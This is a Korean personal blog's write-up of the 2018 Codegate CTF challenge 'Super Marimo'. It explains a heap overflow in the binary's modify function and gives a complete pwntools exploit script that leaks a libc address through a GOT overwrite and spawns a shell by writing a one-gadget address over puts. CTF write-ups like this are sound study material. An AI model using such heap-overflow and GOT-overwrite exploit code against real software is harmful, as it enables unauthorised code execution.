HanJeouk의 개인공부 블로그

2018 Codegate Super Marimo

CTF2018. 2. 6. 02:04

문제를 풀기 전에 먼저 보호기법을 보자

취약점은 modify 함수 부분에서 발생한다.

이게 modify 함수인데 보면 time 함수와 다른 값들을 연산하여 size라는 변수에다 넣은 다음에 나중에 INPUT 함수를 이용하여 32*size 만큼을 입력받는다. 그렇게 되면 다른 청크의 값을 변조하는 게 가능해진다. 

만약에 내가 "show me the marimo"를 치고 name이 AAAA고 profile이 BBBB인 것과 name이 aaaa고 profile이 bbbb인 것을 만들었을 때의 힙 상황이다.

내가 name이 AAAA고 profile이 BBBB인 marimo의 profile 값을 modify를 이용하여 profile의 내용을 원래 사이즈보다 많이 넣어서 다음 marimo의 데이터를 수정한다면 어떻게 될까?

릭은 물론이고 이를 이용하여 쉘을 딸 수도 있을 것이다.

그래서 나는 공격을 위해 malloc_got를 두 번째 marimo name주소를 malloc_got로 덮어서 malloc 함수의 주소를 구한 다음에 base와 one_shot 주소를 구했다.

이제 다시 첫 번째 marimo를 릭할 때 했던 것처럼 profile 값을 modify를 이용하여 두 번째 marimo의 name과 profile를 puts_got로 덮었다.


이제 두 번째 marimo의 profile를 modify한다고 하면 profile에 있는 주소는 이미 puts_got로 조작 돼었기 때문에 거기에 one_shot을 넣어주면 쉘이 따지게 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import*
= process("./marimo")
#p = remote('ch41l3ng3s.codegate.kr',3333)
elf = ELF("./marimo")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
malloc_plt=elf.plt["malloc"]
malloc_got=elf.got["malloc"]
def make(name,profile):
        p.sendlineafter(">> ","show me the marimo")
        p.sendlineafter(">> ",name)
        p.sendlineafter(">> ",profile)
    
def view(index):
        p.sendlineafter(">> ","V")
        p.sendlineafter(">> ",str(index))    
 
 
make("AAAA","BBBB")
make("aaaa","bbbb")
 
p.sendlineafter(">> ","V")
print p.recv(1024)
sleep(3)
p.sendline("0")
print p.recv(1024)
sleep(3)
p.sendline("M")
 
payload = "A"*40
payload += p64(0x21)
payload += p64(0xffffff)
payload += p64(malloc_got)
p.sendlineafter(">> ",payload)
p.sendlineafter(">> ","B")
p.sendlineafter(">> ","V")
p.sendlineafter(">> ","1")
p.recvuntil("name : ")
malloc_add = u64(p.recv(6)+"\x00\x00")
base = malloc_add -0x84130
one_shot = base + 0x45216
print "malloc: " + hex(malloc_add)
print "base: " + hex(base)
print "one_shot : " + hex(one_shot)
 
sleep(3)
 
payload = "B"*40
payload += p64(0x21)
payload += p64(0xfffffffe)
payload += p64(puts_got)
payload += p64(puts_got)
 
p.sendlineafter(">> ","B")
p.sendlineafter(">> ","V")
p.sendlineafter(">> ","0")
p.sendlineafter(">> ","M")
p.sendlineafter(">> ",payload)
 
p.sendlineafter(">> ","B")
p.sendlineafter(">> ","V")
p.sendlineafter(">> ","1")
p.sendlineafter(">> ","M")
p.sendlineafter(">> ",p64(one_shot))
 
p.interactive()
 
cs

puts나 malloc로 굳이 덮을 필요는 없다 자기가 편한 걸 쓰면 된다. 빨리 풀 수 있었는데 one_shot이 안 먹혀서 오래 걸렸다.

그래도 Write_up을 전혀 참고하지 않고 풀어서 뿌듯했다.

'CTF' 카테고리의 다른 글

2016 Boston Key Party CTF Cookbook  (0) 2018.02.27
Bctf_2016 bcloud  (0) 2018.02.21
2018 Codegate BaskinRobins31  (0) 2018.02.04
2018 Codegate RedVelvet  (0) 2018.02.04
2017 acebear CTF easy_heap  (0) 2018.01.30